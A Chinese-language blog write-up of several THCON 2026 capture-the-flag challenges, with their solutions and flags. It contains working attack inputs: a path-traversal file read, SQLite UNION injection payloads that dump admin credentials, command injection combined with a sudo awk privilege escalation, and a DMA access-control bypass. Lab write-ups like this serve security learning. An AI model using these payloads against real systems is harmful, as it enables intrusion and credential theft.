DHCP
DHCP
Published on 2026-05-08 / 6 Visits
0
0

THCON 2026

THCON 2026

THCity: Authentication Collapse (part 1/2)


有附件,有靶机,先下载附件看一下

image.php存在任意文件读取:

测试一下:

测试成功,但是根目录下没有flag
继续分析附件:
看到dockerfile:

注释一下:

 FROM php:8.2-apache
# 基础镜像:PHP 8.2 + Apache

RUN apt-get update && apt-get install -y build-essential apache2-dev
# 安装编译工具和 Apache 开发头文件(apxs 需要)

RUN pecl install redis && docker-php-ext-enable redis
# 安装 PHP Redis 扩展

WORKDIR /tmp
# 设置工作目录为 /tmp

COPY ./mod_auth_thcity.c .
# 把自定义 Apache 模块源码复制到 /tmp/mod_auth_thcity.c

COPY ./index.html ./image.php /var/www/html/
COPY ./images/ /var/www/html/images/
COPY ./secret/ /var/www/html/secret/
COPY ./thcon.conf /etc/apache2/conf-enabled/thcon.conf
# 复制 web 文件和 Apache 配置

ARG FLAG
ARG APACHE_DEBUG

RUN sed -i "s/#FLAG#/${FLAG}/g" mod_auth_thcity.c
# 把 flag 字符串替换到源码中

RUN apxs -i -a -c mod_auth_thcity.c
# *** 关键命令 ***

RUN rm -rf mod_auth_thcity.l* mod_auth_thcity.s* .libs/ && \
    sed -i '/flag/d' mod_auth_thcity.c
# 删除编译中间产物和源码中的 flag(但 .so 已经装好了)
apxs 是 Apache 的模块编译工具,三个参数:
参数	           含义
-c	compile — 编译 .c 为 .so
-i	install — 安装到 Apache 模块目录
-a	activate — 自动生成 LoadModule 配置

apxs -i 的默认安装路径取决于系统。Debian/Ubuntu 上是:/usr/lib/apache2/modules/
所以尝试读取:
/image.php?img=../../../../usr/lib/apache2/modules/mod_auth_thcity.so
访问后下载了一个文件

直接打开发现是elf文件,直接搜索flag

得到flag
flag:
THC{L34k_Ap4ch3_m0dul3_fR0m_F1l3_r3@d}

Panic In the Northern Quadrant (part 1/3)


打开题目:

点击执行ping按钮


点击上传和安装按钮:

发现的都是404,没有这些文件
查看源代码发现js代码:

<script>
var _0x4a1f=["api/v1/units","api/v1/units/status","api/v2/fleet","api/v2/fleet/sync","download-legacy","backup","api/v3/telemetry","api/v3/telemetry/stream","api/internal/auth","api/internal/logs","api/internal/config","api/internal/export","db/primary","db/replica","db/archive","db/metrics","sys/health","sys/version","sys/reboot","sys/diagnostics"],ROUTES={unitsV1:_0x4a1f[0],unitsStatus:_0x4a1f[1],fleetV2:_0x4a1f[2],fleetSync:_0x4a1f[3],legacy:_0x4a1f[4],backup:_0x4a1f[5],telemetry:_0x4a1f[6],telemetryStream:_0x4a1f[7],authInternal:_0x4a1f[8],logsInternal:_0x4a1f[9],configInternal:_0x4a1f[10],exportInternal:_0x4a1f[11],dbPrimary:_0x4a1f[12],dbReplica:_0x4a1f[13],dbArchive:_0x4a1f[14],dbMetrics:_0x4a1f[15],sysHealth:_0x4a1f[16],sysVersion:_0x4a1f[17],sysReboot:_0x4a1f[18],sysDiag:_0x4a1f[19]};/*function backup(){_fetch(ROUTES.backup, {"headers" : {"Content-Type": "application/x-www-form-urlencoded"}, "method":"POST", "body" : atob("dXNlcm5hbWU9c3N0JnBhc3N3b3JkPVRIQ3tzM2N1cjNwNDU1fQ==")})}function a(){_fetch(R.u).then(t=>{if(!t)return;try{var d=JSON.parse(t);console.log("[Units] Loaded",d.length||0,"units");window.lastUnitsData=d}catch(e){console.warn("[Units] Invalid JSON")}}).catch(e=>console.error("[Units] Failed:",e))};function b(){_fetch(R.us).then(t=>{if(!t)return;try{var s=JSON.parse(t);console.log("[Units Status]",s);window.lastUnitsStatus=s}catch(e){console.warn("[Units Status] Parse failed")}}).catch(e=>console.error("[Units Status] Failed:",e))};function c(){_fetch(R.f).then(t=>{if(!t)return;try{var fl=JSON.parse(t);console.log("[Fleet] Data received",fl);window.lastFleetData=fl}catch(e){console.warn("[Fleet] Invalid format")}}).catch(e=>console.error("[Fleet] Failed:",e))};function d(){console.log("[Fleet Sync] Starting...");_fetch(R.fs,{method:"POST"}).then(t=>{console.log("[Fleet Sync] Success",t||"OK");window.lastSyncTime=Date.now()}).catch(e=>console.error("[Fleet Sync] Failed:",e))};function initFleetSystem(){console.log("[API] Initializing...");a();b();c();_poll(R.fs,3e4);console.log("[API] System ready");}*/
!function(){var _cfg={retry:3,timeout:5e3,apiBase:"/",debug:!1};function _fetch(r,o){o=o||{};var u=_cfg.apiBase+r;return fetch(u,{method:o.method||"GET",headers:o.headers||{},body:o.body||null}).then(function(r){if(!r.ok)throw new Error("HTTP "+r.status);return r.text()}).catch(function(r){_cfg.debug&&console.error("[SST]",r)})}function _poll(r,t){setInterval(function(){_fetch(r).then(function(r){_cfg.debug&&console.log("[poll]",r)})},t||6e4)}function _noop(){return null}function _initTelemetry(){_poll(ROUTES.telemetry,9e4)}_noop(ROUTES.dbPrimary);_noop(ROUTES.dbReplica);_noop(ROUTES.dbArchive);_noop(ROUTES.dbMetrics);_noop(ROUTES.sysReboot);_noop(ROUTES.authInternal);_noop(ROUTES.configInternal);_noop(ROUTES.fleetSync);_noop(ROUTES.telemetryStream);_noop(ROUTES.logsInternal);_noop(ROUTES.exportInternal);_noop(ROUTES.sysVersion);_noop(ROUTES.sysDiag);function _initFleet(){_fetch(ROUTES.unitsV1).then(function(r){_cfg.debug&&console.log("[fleet]",r)})}function _initHealth(){_fetch(ROUTES.sysHealth).then(function(r){_cfg.debug&&console.log("[health]",r)})}_initTelemetry();_initFleet();_initHealth()}();
</script>

发现dXNlcm5hbWU9c3N0JnBhc3N3b3JkPVRIQ3tzM2N1cjNwNDU1fQ==
base64解码得到:

flag:
THC{s3cur3p455}

Panic In the Northern Quadrant (part 2/3)


和上一题一样,分析一下js代码
看一下backup函数:

ROUTES.backup不知道是什么,分析一下


所以ROUTES.backup就等于backup那么就对应了/backup路由,实际上是应该访问/backup.php

可以看到有bak文件,但是访问的时候404,可知是临时文件,当程序执行结束后就删掉了,所以我们可以爆破访问

开始爆破然后再点击发送请求

通过状态码排序可以看到200的响应包:

看一下

结果应该就是备份文件里的内容,搜索一下flag

可以得到备份文件中的flag
flag:
THC{r4c3d_2_t0p}

XSS_iN_tHe_Web(part 1/2)


发现有登录点,get传惨id,有超链接

先输入一个1

回车后点击下方超链接发现查询到了id=1的结果

得到可能存在sql注入
联合注入:
?id=-1%20UNION%20SELECT%201,sqlite_version()--

可知是sqlite数据库

?id=-1%20UNION%20SELECT%201,group_concat(id||','||username||','||password)%20FROM%20adminDBtable--


得到用户名和密码

登录得到flag

lag:
THC{W1tH_eYe5_Wid3_0p3ns_WesTANd}

No Cap Just Root (part 1/8)


题目打开:

看源码:

访问admin.php

万能密码登录一下:

登录进来后发现有命令执行点:

闭合一下ping命令后命令执行:

可以看到有flag.txt但是我们没有权限读取,看一下old文件夹

发现有setup.sh文件

看一下内容:

发现awk命令有root权限,可以sudo提权

  1. ?cmd=;sudo /usr/bin/awk {print} flag.txt

    命令执行:
  2. ?cmd=;sudo /usr/bin/awk 'BEGIN {system("cat flag.txt")}'

    得到flag

PNG is a lie (part 1/2)


看一下文件类型发现是utf-8文本,不是二进制

转成txt打开发现有许多赞

猜测是二进制,编写脚本提取出来


二进制转一下图片


得到flag

flag
THC{PNG3D}

Welcome to the SoC


附件是SOC的手册

nc连接后发现是一个 SoC 操作系统 shell,可用命令:ls, cat, hexdump, write_mem 等。

ls /root/           →  flag.txt (0x200地址, 权限 -r--------)
cat /root/flag.txt  →  Permission denied
hexdump 0x200 64    →  access denied (不在可读区域)

存在的问题:flag 在内核区 (0x200),shell 只允许读用户区 (0x1000-0x3FFF) 和设备区 (0x4000-0x403F)。

偏移寄存器说明
0x00DMACR控制寄存器
0x04DMASR状态寄存器
0x18SA源地址
0x20DA目标地址
0x28BTT传输字节数(写入触发传输)

可以利用 DMA 绕过访问控制
DMA 是硬件级操作,直接在总线上搬运数据,不受 shell 软件权限检查限制

write_mem 0x4018 0x00000200    # SA = flag地址
write_mem 0x4020 0x00001000    # DA = 用户内存
write_mem 0x4028 0x00000040    # BTT = 64字节,触发传输
hexdump 0x1000 64              # 读取用户内存中的flag


最主要的思路:shell 限制了 CPU 对内核内存的访问,但 DMA 控制器作为硬件 IP 核可以直接访问任意地址。PDF 手册暴露了正确的寄存器布局,利用 DMA 将 flag 从内核区搬运到用户区即可读取,最后得到flag。


Comment